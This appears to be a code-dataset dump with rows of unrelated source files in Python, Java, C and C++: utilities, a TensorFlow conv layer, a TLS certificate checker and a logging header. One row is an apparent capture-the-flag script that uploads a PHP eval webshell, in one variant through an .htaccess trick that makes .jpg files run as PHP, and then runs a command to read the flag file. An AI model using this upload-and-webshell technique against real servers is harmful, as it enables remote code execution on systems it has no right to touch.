max_stars_count
int64 301
224k
| text
stringlengths 6
1.05M
| token_count
int64 3
727k
|
---|---|---|
4,606 | <filename>python_modules/dagster/dagster_tests/general_tests/grpc_tests/grpc_repo_with_error.py
from made_up_module import made_up_function # pylint:disable=import-error,unused-import
| 67 |
2,441 | /* -*- Mode: C; tab-width: 8; indent-tabs-mode: t; c-basic-offset: 8 -*- */
/*
* Authors: <NAME>
*
* Copyright (C) 2014 Xamarin Inc. (www.xamarin.com)
*
*/
#ifndef __XAMARIN_H__
#define __XAMARIN_H__
#include "main.h"
#include "mono-runtime.h"
#include "runtime.h"
#include "runtime-generated.h"
#include "trampolines.h"
#endif /* __XAMARIN_H__ */
| 161 |
543 | <filename>core/src/test/java/com/riiablo/mpq_bytebuf/util/ExploderTest.java<gh_stars>100-1000
package com.riiablo.mpq_bytebuf.util;
import org.junit.jupiter.api.*;
import org.junit.jupiter.params.*;
import org.junit.jupiter.params.provider.*;
import static org.junit.jupiter.api.Assertions.*;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.Unpooled;
import com.badlogic.gdx.Gdx;
import com.badlogic.gdx.files.FileHandle;
import com.riiablo.RiiabloTest;
import com.riiablo.logger.Level;
import com.riiablo.logger.LogManager;
public class ExploderTest extends RiiabloTest {
@BeforeAll
public static void before() {
LogManager.setLevel("com.riiablo.mpq_bytebuf.util.Exploder", Level.TRACE);
}
@ParameterizedTest
@CsvSource(value = {
"test/exploder_in.bin,test/exploder_out.bin",
}, delimiter = ',')
void explode(String in, String out) {
FileHandle exploder_in = Gdx.files.internal(in);
ByteBuf imploded = Unpooled.buffer(0x1000).writeBytes(exploder_in.readBytes());
ByteBuf actual = Unpooled.buffer(0x1000);
Exploder.explode(imploded, actual);
System.out.println(ByteBufUtil.prettyHexDump(actual));
FileHandle exploder_out = Gdx.files.internal(out);
ByteBuf expected = Unpooled.wrappedBuffer(exploder_out.readBytes());
assertTrue(ByteBufUtil.equals(expected, actual));
}
}
| 532 |
1,438 | package com.dexvis.util;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
import com.dexvis.exception.MissingOptionException;
/**
*
* This class offers a mechanism for reading arguments from the command line.
*
* @author <NAME>
* @version 1.0
*
*/
public class Options
{
private Map<String, String> defaultOptions;
private Properties options;
private SimpleDateFormat dateFormat = new SimpleDateFormat("MM-dd-yyyy");
public Options(String args[])
{
this(args, new HashMap<String, String>());
}
public Options(String args[], Map<String, String> defaultOptions)
{
this.defaultOptions = defaultOptions;
this.options = new Properties();
String curOption = "UNDEFINED";
for (int i = 0; i < args.length; i++)
{
// It's an option specifier.
if (args[i].startsWith("-"))
{
curOption = args[i].substring(1).trim();
options.put(curOption, Boolean.TRUE.toString());
}
// It's an option, set it.
else
{
options.put(curOption, args[i]);
}
}
}
public String getString(String option) throws MissingOptionException
{
if (options.containsKey(option))
{
return options.getProperty(option);
}
if (defaultOptions.containsKey(option))
{
return defaultOptions.get(option);
}
throw new MissingOptionException("Option: '" + option
+ "' has not been defined.");
}
public String getString(String option, String defaultOption)
{
if (options.containsKey(option))
{
return options.getProperty(option);
}
if (defaultOptions.containsKey(option))
{
return defaultOptions.get(option);
}
return defaultOption;
}
public boolean getBoolean(String option) throws MissingOptionException
{
if (options.containsKey(option))
{
return options.getProperty(option).equalsIgnoreCase("true");
}
if (defaultOptions.containsKey(option))
{
return defaultOptions.get(option).equalsIgnoreCase("true");
}
throw new MissingOptionException("Option: '" + option
+ "' has not been defined.");
}
public boolean getBoolean(String option, boolean defaultOption)
{
if (options.containsKey(option))
{
return options.getProperty(option).equalsIgnoreCase("true");
}
if (defaultOptions.containsKey(option))
{
return defaultOptions.get(option).equalsIgnoreCase("true");
}
return defaultOption;
}
public Integer getInteger(String option) throws MissingOptionException
{
if (options.containsKey(option))
{
return new Integer(options.getProperty(option));
}
if (defaultOptions.containsKey(option))
{
return new Integer(defaultOptions.get(option));
}
throw new MissingOptionException("Option: '" + option
+ "' has not been defined.");
}
public Integer getInteger(String option, int defaultOption)
{
return getInteger(option, new Integer(defaultOption));
}
public Integer getInteger(String option, Integer defaultOption)
{
if (options.containsKey(option))
{
return new Integer(options.getProperty(option));
}
if (defaultOptions.containsKey(option))
{
return new Integer(defaultOptions.get(option));
}
return defaultOption;
}
public Double getDouble(String option) throws MissingOptionException
{
if (options.containsKey(option))
{
return new Double(options.getProperty(option));
}
if (defaultOptions.containsKey(option))
{
return new Double(defaultOptions.get(option));
}
throw new MissingOptionException("Option: '" + option
+ "' has not been defined.");
}
public Double getDouble(String option, double defaultOption)
{
return getDouble(option, new Double(defaultOption));
}
public Double getDouble(String option, Double defaultOption)
{
if (options.containsKey(option))
{
return new Double(options.getProperty(option));
}
if (defaultOptions.containsKey(option))
{
return new Double(defaultOptions.get(option));
}
return defaultOption;
}
public Date getDate(String option) throws MissingOptionException,
ParseException
{
if (options.containsKey(option))
{
return dateFormat.parse(options.getProperty(option));
}
if (defaultOptions.containsKey(option))
{
return dateFormat.parse(defaultOptions.get(option));
}
throw new MissingOptionException("Option: '" + option
+ "' has not been defined.");
}
public Date getDate(String option, Date defaultOption)
{
return getDate(option, defaultOption);
}
public Properties getProperties()
{
return options;
}
}
| 1,718 |
2,177 | <gh_stars>1000+
{
"version": 0.4,
"remote_json": "https://dl.dropboxusercontent.com/u/2377432/alfredv2/rome2rio/rome2rio.json"
} | 63 |
2,381 | <filename>docker-java-api/src/main/java/com/github/dockerjava/api/model/SwarmNodeRole.java
package com.github.dockerjava.api.model;
import com.fasterxml.jackson.annotation.JsonProperty;
/**
* @since {@link RemoteApiVersion#VERSION_1_24}
*/
public enum SwarmNodeRole {
@JsonProperty("worker")
WORKER,
@JsonProperty("manager")
MANAGER
}
| 133 |
1,248 | # Generated by Django 3.2.2 on 2021-05-24 12:36
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('pretixbase', '0190_quota_ignore_for_event_availability'),
]
operations = [
migrations.AddField(
model_name='event',
name='last_modified',
field=models.DateTimeField(auto_now=True, db_index=True),
),
]
| 187 |
645 | // Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
package org.chromium.distiller;
public class SimpleTest extends JsTestCase {
public void testSuccess() {
assertTrue(true);
assertTrue("Failure message", true);
}
}
| 110 |
371 | <gh_stars>100-1000
#pragma once
#include "../stereokit.h"
namespace sk {
extern mouse_t input_mouse_data;
extern pose_t input_head_pose_world;
extern pose_t input_head_pose_local;
extern pose_t input_eyes_pose_world;
extern pose_t input_eyes_pose_local;
extern button_state_ input_eyes_track_state;
extern controller_t input_controllers[2];
extern button_state_ input_controller_menubtn;
int input_add_pointer(input_source_ source);
pointer_t *input_get_pointer(int32_t id);
bool input_init ();
void input_shutdown ();
void input_update ();
void input_update_predicted();
inline button_state_ button_make_state(bool32_t was, bool32_t is) {
button_state_ result = is ? button_state_active : button_state_inactive;
if (was && !is)
result |= button_state_just_inactive;
if (is && !was)
result |= button_state_just_active;
return result;
}
} // namespace sk | 385 |
82,518 | # Lint as: python2, python3
# Copyright 2019 The TensorFlow Authors All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Augment slim.conv2d with optional Weight Standardization (WS).
WS is a normalization method to accelerate micro-batch training. When used with
Group Normalization and trained with 1 image/GPU, WS is able to match or
outperform the performances of BN trained with large batch sizes.
[1] <NAME>, <NAME>, <NAME>, <NAME>, <NAME>
Weight Standardization. arXiv:1903.10520
[2] <NAME>, <NAME>, <NAME>, <NAME>, <NAME>
Centered Weight Normalization in Accelerating Training of Deep Neural
Networks. ICCV 2017
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import tensorflow as tf
from tensorflow.contrib import framework as contrib_framework
from tensorflow.contrib import layers as contrib_layers
from tensorflow.contrib.layers.python.layers import layers
from tensorflow.contrib.layers.python.layers import utils
class Conv2D(tf.keras.layers.Conv2D, tf.layers.Layer):
"""2D convolution layer (e.g. spatial convolution over images).
This layer creates a convolution kernel that is convolved
(actually cross-correlated) with the layer input to produce a tensor of
outputs. If `use_bias` is True (and a `bias_initializer` is provided),
a bias vector is created and added to the outputs. Finally, if
`activation` is not `None`, it is applied to the outputs as well.
"""
def __init__(self,
filters,
kernel_size,
strides=(1, 1),
padding='valid',
data_format='channels_last',
dilation_rate=(1, 1),
activation=None,
use_bias=True,
kernel_initializer=None,
bias_initializer=tf.zeros_initializer(),
kernel_regularizer=None,
bias_regularizer=None,
use_weight_standardization=False,
activity_regularizer=None,
kernel_constraint=None,
bias_constraint=None,
trainable=True,
name=None,
**kwargs):
"""Constructs the 2D convolution layer.
Args:
filters: Integer, the dimensionality of the output space (i.e. the number
of filters in the convolution).
kernel_size: An integer or tuple/list of 2 integers, specifying the height
and width of the 2D convolution window. Can be a single integer to
specify the same value for all spatial dimensions.
strides: An integer or tuple/list of 2 integers, specifying the strides of
the convolution along the height and width. Can be a single integer to
specify the same value for all spatial dimensions. Specifying any stride
value != 1 is incompatible with specifying any `dilation_rate` value !=
1.
padding: One of `"valid"` or `"same"` (case-insensitive).
data_format: A string, one of `channels_last` (default) or
`channels_first`. The ordering of the dimensions in the inputs.
`channels_last` corresponds to inputs with shape `(batch, height, width,
channels)` while `channels_first` corresponds to inputs with shape
`(batch, channels, height, width)`.
dilation_rate: An integer or tuple/list of 2 integers, specifying the
dilation rate to use for dilated convolution. Can be a single integer to
specify the same value for all spatial dimensions. Currently, specifying
any `dilation_rate` value != 1 is incompatible with specifying any
stride value != 1.
activation: Activation function. Set it to None to maintain a linear
activation.
use_bias: Boolean, whether the layer uses a bias.
kernel_initializer: An initializer for the convolution kernel.
bias_initializer: An initializer for the bias vector. If None, the default
initializer will be used.
kernel_regularizer: Optional regularizer for the convolution kernel.
bias_regularizer: Optional regularizer for the bias vector.
use_weight_standardization: Boolean, whether the layer uses weight
standardization.
activity_regularizer: Optional regularizer function for the output.
kernel_constraint: Optional projection function to be applied to the
kernel after being updated by an `Optimizer` (e.g. used to implement
norm constraints or value constraints for layer weights). The function
must take as input the unprojected variable and must return the
projected variable (which must have the same shape). Constraints are not
safe to use when doing asynchronous distributed training.
bias_constraint: Optional projection function to be applied to the bias
after being updated by an `Optimizer`.
trainable: Boolean, if `True` also add variables to the graph collection
`GraphKeys.TRAINABLE_VARIABLES` (see `tf.Variable`).
name: A string, the name of the layer.
**kwargs: Arbitrary keyword arguments passed to tf.keras.layers.Conv2D
"""
super(Conv2D, self).__init__(
filters=filters,
kernel_size=kernel_size,
strides=strides,
padding=padding,
data_format=data_format,
dilation_rate=dilation_rate,
activation=activation,
use_bias=use_bias,
kernel_initializer=kernel_initializer,
bias_initializer=bias_initializer,
kernel_regularizer=kernel_regularizer,
bias_regularizer=bias_regularizer,
activity_regularizer=activity_regularizer,
kernel_constraint=kernel_constraint,
bias_constraint=bias_constraint,
trainable=trainable,
name=name,
**kwargs)
self.use_weight_standardization = use_weight_standardization
def call(self, inputs):
if self.use_weight_standardization:
mean, var = tf.nn.moments(self.kernel, [0, 1, 2], keep_dims=True)
kernel = (self.kernel - mean) / tf.sqrt(var + 1e-5)
outputs = self._convolution_op(inputs, kernel)
else:
outputs = self._convolution_op(inputs, self.kernel)
if self.use_bias:
if self.data_format == 'channels_first':
if self.rank == 1:
# tf.nn.bias_add does not accept a 1D input tensor.
bias = tf.reshape(self.bias, (1, self.filters, 1))
outputs += bias
else:
outputs = tf.nn.bias_add(outputs, self.bias, data_format='NCHW')
else:
outputs = tf.nn.bias_add(outputs, self.bias, data_format='NHWC')
if self.activation is not None:
return self.activation(outputs)
return outputs
@contrib_framework.add_arg_scope
def conv2d(inputs,
num_outputs,
kernel_size,
stride=1,
padding='SAME',
data_format=None,
rate=1,
activation_fn=tf.nn.relu,
normalizer_fn=None,
normalizer_params=None,
weights_initializer=contrib_layers.xavier_initializer(),
weights_regularizer=None,
biases_initializer=tf.zeros_initializer(),
biases_regularizer=None,
use_weight_standardization=False,
reuse=None,
variables_collections=None,
outputs_collections=None,
trainable=True,
scope=None):
"""Adds a 2D convolution followed by an optional batch_norm layer.
`convolution` creates a variable called `weights`, representing the
convolutional kernel, that is convolved (actually cross-correlated) with the
`inputs` to produce a `Tensor` of activations. If a `normalizer_fn` is
provided (such as `batch_norm`), it is then applied. Otherwise, if
`normalizer_fn` is None and a `biases_initializer` is provided then a `biases`
variable would be created and added the activations. Finally, if
`activation_fn` is not `None`, it is applied to the activations as well.
Performs atrous convolution with input stride/dilation rate equal to `rate`
if a value > 1 for any dimension of `rate` is specified. In this case
`stride` values != 1 are not supported.
Args:
inputs: A Tensor of rank N+2 of shape `[batch_size] + input_spatial_shape +
[in_channels]` if data_format does not start with "NC" (default), or
`[batch_size, in_channels] + input_spatial_shape` if data_format starts
with "NC".
num_outputs: Integer, the number of output filters.
kernel_size: A sequence of N positive integers specifying the spatial
dimensions of the filters. Can be a single integer to specify the same
value for all spatial dimensions.
stride: A sequence of N positive integers specifying the stride at which to
compute output. Can be a single integer to specify the same value for all
spatial dimensions. Specifying any `stride` value != 1 is incompatible
with specifying any `rate` value != 1.
padding: One of `"VALID"` or `"SAME"`.
data_format: A string or None. Specifies whether the channel dimension of
the `input` and output is the last dimension (default, or if `data_format`
does not start with "NC"), or the second dimension (if `data_format`
starts with "NC"). For N=1, the valid values are "NWC" (default) and
"NCW". For N=2, the valid values are "NHWC" (default) and "NCHW". For
N=3, the valid values are "NDHWC" (default) and "NCDHW".
rate: A sequence of N positive integers specifying the dilation rate to use
for atrous convolution. Can be a single integer to specify the same value
for all spatial dimensions. Specifying any `rate` value != 1 is
incompatible with specifying any `stride` value != 1.
activation_fn: Activation function. The default value is a ReLU function.
Explicitly set it to None to skip it and maintain a linear activation.
normalizer_fn: Normalization function to use instead of `biases`. If
`normalizer_fn` is provided then `biases_initializer` and
`biases_regularizer` are ignored and `biases` are not created nor added.
default set to None for no normalizer function
normalizer_params: Normalization function parameters.
weights_initializer: An initializer for the weights.
weights_regularizer: Optional regularizer for the weights.
biases_initializer: An initializer for the biases. If None skip biases.
biases_regularizer: Optional regularizer for the biases.
use_weight_standardization: Boolean, whether the layer uses weight
standardization.
reuse: Whether or not the layer and its variables should be reused. To be
able to reuse the layer scope must be given.
variables_collections: Optional list of collections for all the variables or
a dictionary containing a different list of collection per variable.
outputs_collections: Collection to add the outputs.
trainable: If `True` also add variables to the graph collection
`GraphKeys.TRAINABLE_VARIABLES` (see tf.Variable).
scope: Optional scope for `variable_scope`.
Returns:
A tensor representing the output of the operation.
Raises:
ValueError: If `data_format` is invalid.
ValueError: Both 'rate' and `stride` are not uniformly 1.
"""
if data_format not in [None, 'NWC', 'NCW', 'NHWC', 'NCHW', 'NDHWC', 'NCDHW']:
raise ValueError('Invalid data_format: %r' % (data_format,))
# pylint: disable=protected-access
layer_variable_getter = layers._build_variable_getter({
'bias': 'biases',
'kernel': 'weights'
})
# pylint: enable=protected-access
with tf.variable_scope(
scope, 'Conv', [inputs], reuse=reuse,
custom_getter=layer_variable_getter) as sc:
inputs = tf.convert_to_tensor(inputs)
input_rank = inputs.get_shape().ndims
if input_rank != 4:
raise ValueError('Convolution expects input with rank %d, got %d' %
(4, input_rank))
data_format = ('channels_first' if data_format and
data_format.startswith('NC') else 'channels_last')
layer = Conv2D(
filters=num_outputs,
kernel_size=kernel_size,
strides=stride,
padding=padding,
data_format=data_format,
dilation_rate=rate,
activation=None,
use_bias=not normalizer_fn and biases_initializer,
kernel_initializer=weights_initializer,
bias_initializer=biases_initializer,
kernel_regularizer=weights_regularizer,
bias_regularizer=biases_regularizer,
use_weight_standardization=use_weight_standardization,
activity_regularizer=None,
trainable=trainable,
name=sc.name,
dtype=inputs.dtype.base_dtype,
_scope=sc,
_reuse=reuse)
outputs = layer.apply(inputs)
# Add variables to collections.
# pylint: disable=protected-access
layers._add_variable_to_collections(layer.kernel, variables_collections,
'weights')
if layer.use_bias:
layers._add_variable_to_collections(layer.bias, variables_collections,
'biases')
# pylint: enable=protected-access
if normalizer_fn is not None:
normalizer_params = normalizer_params or {}
outputs = normalizer_fn(outputs, **normalizer_params)
if activation_fn is not None:
outputs = activation_fn(outputs)
return utils.collect_named_outputs(outputs_collections, sc.name, outputs)
def conv2d_same(inputs, num_outputs, kernel_size, stride, rate=1, scope=None):
"""Strided 2-D convolution with 'SAME' padding.
When stride > 1, then we do explicit zero-padding, followed by conv2d with
'VALID' padding.
Note that
net = conv2d_same(inputs, num_outputs, 3, stride=stride)
is equivalent to
net = conv2d(inputs, num_outputs, 3, stride=1, padding='SAME')
net = subsample(net, factor=stride)
whereas
net = conv2d(inputs, num_outputs, 3, stride=stride, padding='SAME')
is different when the input's height or width is even, which is why we add the
current function. For more details, see ResnetUtilsTest.testConv2DSameEven().
Args:
inputs: A 4-D tensor of size [batch, height_in, width_in, channels].
num_outputs: An integer, the number of output filters.
kernel_size: An int with the kernel_size of the filters.
stride: An integer, the output stride.
rate: An integer, rate for atrous convolution.
scope: Scope.
Returns:
output: A 4-D tensor of size [batch, height_out, width_out, channels] with
the convolution output.
"""
if stride == 1:
return conv2d(
inputs,
num_outputs,
kernel_size,
stride=1,
rate=rate,
padding='SAME',
scope=scope)
else:
kernel_size_effective = kernel_size + (kernel_size - 1) * (rate - 1)
pad_total = kernel_size_effective - 1
pad_beg = pad_total // 2
pad_end = pad_total - pad_beg
inputs = tf.pad(inputs,
[[0, 0], [pad_beg, pad_end], [pad_beg, pad_end], [0, 0]])
return conv2d(
inputs,
num_outputs,
kernel_size,
stride=stride,
rate=rate,
padding='VALID',
scope=scope)
| 5,857 |
492 | <filename>src/main/java/de/onyxbits/raccoon/net/DefaultTlsAuthentication.java
/*******************************************************************************
* Copyright 2020 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy
* of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
******************************************************************************/
package de.onyxbits.raccoon.net;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.security.KeyStore;
import java.security.cert.CertificateException;
import java.security.cert.CertificateExpiredException;
import java.security.cert.CertificateFactory;
import java.security.cert.CertificateNotYetValidException;
import java.security.cert.X509Certificate;
import javax.net.ssl.TrustManager;
import javax.net.ssl.TrustManagerFactory;
import javax.net.ssl.X509TrustManager;
import org.bouncycastle.tls.AlertDescription;
import org.bouncycastle.tls.Certificate;
import org.bouncycastle.tls.KeyExchangeAlgorithm;
import org.bouncycastle.tls.ServerOnlyTlsAuthentication;
import org.bouncycastle.tls.TlsFatalAlert;
import org.bouncycastle.tls.TlsUtils;
import org.bouncycastle.tls.crypto.TlsCertificate;
public class DefaultTlsAuthentication extends ServerOnlyTlsAuthentication {
private TrustManager[] trustManagers;
private CertificateFactory certificateFactory;
private String authType;
public DefaultTlsAuthentication(int selectedCipherSuite) {
try {
TrustManagerFactory trustManagerFactory = TrustManagerFactory
.getInstance(TrustManagerFactory.getDefaultAlgorithm());
trustManagerFactory.init((KeyStore) null);
trustManagers = trustManagerFactory.getTrustManagers();
certificateFactory = CertificateFactory.getInstance("X.509");
int keyExchangeAlgorithm = TlsUtils
.getKeyExchangeAlgorithm(selectedCipherSuite);
authType = getAuthTypeServer(keyExchangeAlgorithm);
}
catch (Exception e) {
}
}
@Override
public void notifyServerCertificate(Certificate serverCertificate)
throws IOException {
if (serverCertificate == null || serverCertificate.isEmpty()) {
throw new TlsFatalAlert(AlertDescription.handshake_failure);
}
if (trustManagers == null || certificateFactory == null) {
throw new TlsFatalAlert(AlertDescription.unknown_ca);
}
if (authType == null) {
throw new TlsFatalAlert(AlertDescription.internal_error);
}
TlsCertificate[] certificates = serverCertificate.getCertificateList();
X509Certificate[] chain = new X509Certificate[certificates.length];
ByteArrayInputStream bis = null;
for (int i = 0; i < chain.length; i++) {
bis = new ByteArrayInputStream(certificates[i].getEncoded());
try {
chain[i] = (X509Certificate) certificateFactory
.generateCertificate(bis);
chain[i].checkValidity();
}
catch (CertificateExpiredException e) {
throw new TlsFatalAlert(AlertDescription.certificate_expired);
}
catch (CertificateNotYetValidException e) {
throw new TlsFatalAlert(AlertDescription.certificate_expired);
}
catch (CertificateException e) {
throw new TlsFatalAlert(AlertDescription.decode_error, e);
}
}
for (TrustManager trustManager : trustManagers) {
if (trustManager instanceof X509TrustManager) {
X509TrustManager x509TrustManager = (X509TrustManager) trustManager;
try {
x509TrustManager.checkServerTrusted(chain, authType);
}
catch (Exception e) {
throw new IOException(e.getCause());
}
}
}
}
private String getAuthTypeServer(int keyExchangeAlgorithm) {
switch (keyExchangeAlgorithm) {
case KeyExchangeAlgorithm.DH_anon:
return "DH_anon";
case KeyExchangeAlgorithm.DH_DSS:
return "DH_DSS";
case KeyExchangeAlgorithm.DH_RSA:
return "DH_RSA";
case KeyExchangeAlgorithm.DHE_DSS:
return "DHE_DSS";
case KeyExchangeAlgorithm.DHE_PSK:
return "DHE_PSK";
case KeyExchangeAlgorithm.DHE_RSA:
return "DHE_RSA";
case KeyExchangeAlgorithm.ECDH_anon:
return "ECDH_anon";
case KeyExchangeAlgorithm.ECDH_ECDSA:
return "ECDH_ECDSA";
case KeyExchangeAlgorithm.ECDH_RSA:
return "ECDH_RSA";
case KeyExchangeAlgorithm.ECDHE_ECDSA:
return "ECDHE_ECDSA";
case KeyExchangeAlgorithm.ECDHE_PSK:
return "ECDHE_PSK";
case KeyExchangeAlgorithm.ECDHE_RSA:
return "ECDHE_RSA";
case KeyExchangeAlgorithm.RSA:
return "RSA";
case KeyExchangeAlgorithm.RSA_PSK:
return "RSA_PSK";
case KeyExchangeAlgorithm.SRP:
return "SRP";
case KeyExchangeAlgorithm.SRP_DSS:
return "SRP_DSS";
case KeyExchangeAlgorithm.SRP_RSA:
return "SRP_RSA";
default:
return null;
}
}
}
| 1,785 |
501 | <gh_stars>100-1000
# -*- coding: utf-8 -*-
# @Author: 0aKarmA_骅文
# @Date: 2019-06-23 23:15:09
# @Last Modified by: 0aKarmA
# @Last Modified time: 2019-06-24 09:47:41
import requests, re
def vulhtml(url):
vul = url + "?text[]=123"
files = {'uploaded':('0aKarmA.html', bytes("<?php @eval($_POST['1']); ?>", encoding="utf-8"), 'text/html')}
verify = requests.get(vul)
verify = "".join(re.findall(r'verify" value="(.*)"', verify.text))
data = {'verify':verify, 'Upload':'Upload'}
requests.post(vul, files=files, data=data)
flag = requests.post(url + "uploads/" + verify + "_0aKarmA.html", data={'1':'system("cat ../include/flag");'})
print(flag.text)
def vulhtaccess(url):
vul = url + "?text[]=123"
files = {'uploaded':('.htaccess', bytes("AddType application/x-httpd-php .jpg", encoding="utf-8"), 'application/octet-stream')}
verify = requests.get(vul)
verify = "".join(re.findall(r'verify" value="(.*)"', verify.text))
data = {'verify':verify, 'Upload':'Upload'}
# upload .htaccess
requests.post(vul, files=files, data=data, proxies={'http':'http:127.0.0.1:8080'})
# upload jpg
files = {'uploaded':('0aKarmA.jpg', bytes("<?php @eval($_POST['1']); ?>", encoding="utf-8"), 'image/jpg')}
verify = requests.get(vul)
verify = "".join(re.findall(r'verify" value="(.*)"', verify.text))
data = {'verify':verify, 'Upload':'Upload'}
requests.post(vul, files=files, data=data)
flag = requests.post(url + "uploads/" + verify + "_0aKarmA.jpg", data={'1':'system("cat ../include/flag");'})
print(flag.text)
if __name__ == '__main__':
url = "http://192.168.127.12:10000/"
# vulhtml(url)
vulhtaccess(url) | 730 |
335 | /*
* Logging.h
* ---------
* Purpose: General logging
* Notes : (currently none)
* Authors: OpenMPT Devs
* The OpenMPT source code is released under the BSD license. Read LICENSE for more details.
*/
#pragma once
#include "openmpt/all/BuildSettings.hpp"
#include "openmpt/logging/Logger.hpp"
#include "mptPathString.h"
#include "mptString.h"
#if defined(MODPLUG_TRACKER) && MPT_OS_WINDOWS
#include <atomic>
#endif
OPENMPT_NAMESPACE_BEGIN
/*
Build time logging configuration:
* #define MPT_LOG_GLOBAL_LEVEL_STATIC
#define MPT_LOG_GLOBAL_LEVEL #
Define the former (to anything) and the latter (to one of the log levels
below) in order to statically select the verbosity of logging at build time.
MPT_LOG calls that exceed the specified logging level will get dead-code
eliminated at compile time.
This especially means that, when setting MPT_LOG_GLOBAL_LEVEL to 0, no
MPT_LOG call (with a constant level parameter) remains in the resulting
binary, however, they still do get parsed and properly type checked by the
compiler.
Logging:
If the context is related to a particular CSoundfile instance, use
CSoundfile::AddToLog.
Logging a simple message:
MPT_LOG_GLOBAL(LogWarning, "sounddev", "some message");
MPT_LOG_GLOBAL(LogWarning, "sounddev", U_("some message"));
Facility is some course grained code section identifier (more coarse grained
than the current file name probably), useful to do some selective logging.
Logging a more complex message:
MPT_LOG_GLOBAL(LogWarning, "sounddev", MPT_UFORMAT("Some message: foo={}, bar=0x{}")(foo, mpt::ufmt::hex0<8>(bar)));
Note that even with full enabled logging and a runtime configurable logging
level, the runtime overhead of a MPT_LOG_GLOBAL(level, facility, text) call is just a
single conditional in case the verbosity does not require logging the respective
message. Even the expression "text" is not evaluated.
*/
inline mpt::ustring LogLevelToString(LogLevel level)
{
switch(level)
{
case LogError: return U_("error"); break;
case LogWarning: return U_("warning"); break;
case LogNotification: return U_("notify"); break;
case LogInformation: return U_("info"); break;
case LogDebug: return U_("debug"); break;
}
return U_("unknown");
}
class ILog
{
protected:
virtual ~ILog() { }
public:
virtual void AddToLog(LogLevel level, const mpt::ustring &text) const = 0;
};
namespace mpt
{
namespace log
{
#if defined(MPT_LOG_GLOBAL_LEVEL_STATIC)
#if (MPT_LOG_GLOBAL_LEVEL <= 0)
// All logging has beeen statically disabled.
// All logging code gets compiled and immediately dead-code eliminated.
#define MPT_LOG_IS_DISABLED
#endif
inline constexpr int GlobalLogLevel = MPT_LOG_GLOBAL_LEVEL ;
#else
extern int GlobalLogLevel;
#endif
#if defined(MODPLUG_TRACKER) && !defined(MPT_LOG_IS_DISABLED)
extern bool FileEnabled;
extern bool DebuggerEnabled;
extern bool ConsoleEnabled;
void SetFacilities(const std::string &solo, const std::string &blocked);
bool IsFacilityActive(const char *facility) noexcept;
#else
MPT_FORCEINLINE bool IsFacilityActive(const char * /*facility*/ ) noexcept { return true; }
#endif
class GlobalLogger final
: public ILogger
{
public:
GlobalLogger() = default;
~GlobalLogger() final = default;
public:
bool IsLevelActive(LogLevel level) const noexcept override
{
return (mpt::log::GlobalLogLevel >= level);
}
bool IsFacilityActive(const char *facility) const noexcept override
{
return mpt::log::IsFacilityActive(facility);
}
void SendLogMessage(const mpt::source_location &loc, LogLevel level, const char *facility, const mpt::ustring &message) const override;
};
#define MPT_LOG_GLOBAL(level, facility, text) MPT_LOG(mpt::log::GlobalLogger{}, (level), (facility), (text))
#if defined(MODPLUG_TRACKER) && MPT_OS_WINDOWS
namespace Trace {
// This is not strictly thread safe in all corner cases because of missing barriers.
// We do not care in order to not harm the fast path with additional barriers.
// Enabled tracing incurs a runtime overhead with multiple threads as a global atomic variable
// gets modified.
// This cacheline bouncing does not matter at all
// if there are not multiple thread adding trace points at high frequency (way greater than 1000Hz),
// which, in OpenMPT, is only ever the case for just a single thread (the audio thread), if at all.
extern std::atomic<bool> g_Enabled;
inline bool IsEnabled() { return g_Enabled; }
enum class Direction : int8
{
Unknown = 0,
Enter = 1,
Leave = -1,
};
MPT_NOINLINE void Trace(const mpt::source_location & loc, Direction direction = Direction::Unknown) noexcept;
enum ThreadKind {
ThreadKindGUI,
ThreadKindAudio,
ThreadKindNotify,
ThreadKindWatchdir,
};
void Enable(std::size_t numEntries);
void Disable();
void SetThreadId(mpt::log::Trace::ThreadKind kind, uint32 id);
uint32 GetThreadId(mpt::log::Trace::ThreadKind kind);
void Seal();
bool Dump(const mpt::PathString &filename);
class Scope
{
private:
const mpt::source_location loc;
public:
MPT_FORCEINLINE Scope(mpt::source_location loc) noexcept
: loc(loc)
{
if(mpt::log::Trace::g_Enabled)
{
mpt::log::Trace::Trace(loc, mpt::log::Trace::Direction::Enter);
}
}
MPT_FORCEINLINE ~Scope() noexcept
{
if(mpt::log::Trace::g_Enabled)
{
mpt::log::Trace::Trace(loc, mpt::log::Trace::Direction::Leave);
}
}
};
#define MPT_TRACE_CONCAT_HELPER(x, y) x ## y
#define MPT_TRACE_CONCAT(x, y) MPT_TRACE_CONCAT_HELPER(x, y)
#define MPT_TRACE_SCOPE() mpt::log::Trace::Scope MPT_TRACE_CONCAT(MPT_TRACE_VAR, __LINE__)(MPT_SOURCE_LOCATION_CURRENT())
#define MPT_TRACE() do { if(mpt::log::Trace::g_Enabled) { mpt::log::Trace::Trace(MPT_SOURCE_LOCATION_CURRENT()); } } while(0)
} // namespace Trace
#else // !MODPLUG_TRACKER
#define MPT_TRACE_SCOPE() do { } while(0)
#define MPT_TRACE() do { } while(0)
#endif // MODPLUG_TRACKER
} // namespace log
} // namespace mpt
OPENMPT_NAMESPACE_END
| 2,068 |
852 | <filename>DataFormats/HcalIsolatedTrack/interface/HcalIsolatedTrackCandidate.h
#ifndef HcalIsolatedTrack_HcalIsolatedTrackCandidate_h
